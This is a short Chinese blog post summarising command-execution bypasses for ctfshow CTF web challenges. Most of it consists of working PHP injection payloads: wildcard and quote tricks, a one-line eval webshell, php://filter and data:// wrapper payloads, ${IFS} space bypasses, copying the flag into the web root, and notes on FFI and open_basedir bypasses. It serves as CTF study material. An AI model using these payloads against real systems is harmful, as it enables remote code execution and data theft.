ctfshow 命令执行总结

做完 ctfshow web 29 ~ 77、118~124的总结,写的比较简略。

  • PHP 中简单的 eval 函数执行字符限制绕过
  1. 使用通配符 * and ?
?c=system('tac f*');
  1. 使用 ` 执行命令
?c=`cp fla?.??? 1.txt`;
  1. 构造一句话木马,利用其它变量传入php执行语句
?c=eval($_GET[1]);&1=system("cat flag.php");
  1. 利用伪协议
filter: 
#直接读文件 ?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
data: #命令执行 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
  1. 特殊的利用函数特性
?c=highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
  1. 异或构造RCE
0
利用 PHP7 特性构造异或命令RCE
 
  • PHP 中简单的 system 函数执行字符限制绕过
  1. 空格被过滤
%09(tab) < > ${IFS} {cat,flag.php}
  1. 关键词被过滤
#使用通配符 cat f* 
#使用单引号 cat f''lag 
#推荐第二种,有时候空格被替换成其它如 > 会不支持通配符
  1. tac cat rev nl 读文件命令等被过滤
#使用通配符 /bin/ca? flag.php 
/???/????64 flag.php #/bin/base64 
#有权限的时候复制 flag 作为 txt 文件到网站路径下 cp${IFS}../../../fla''g${IFS}/var/www/html/a.txt%0A
  1. 利用 PHP 上传文件会临时保存的特性
0
  1. 利用 LINUX 操作系统的特性
${PATH:~A}${PWD:~A} ????.???

 

  • PHP 简单的中 eval 函数执行部分函数被禁用绕过
  1. 利用 文件包含 读 flag.php 或者输出 $flag
  2. 通过日志文件包含,file_put_contents get shell (没啥用,但可以用蚁剑啥的看看能不能突破限制)
  3. 利用 rename 函数或系统命令重命名(必要移动)flag.php
  4. 利用 php curl 发送 flag
  5. 利用 php 数据库操作函数读 flag
  6. glob://伪协议 来实现 open-basedir 绕过,并用 uaf 脚本读 flag
  7. 利用 PHP7特性 FFI 执行系统命令
posted @ 2022-10-02 22:26  xshhc  阅读(158)  评论(0编辑  收藏  举报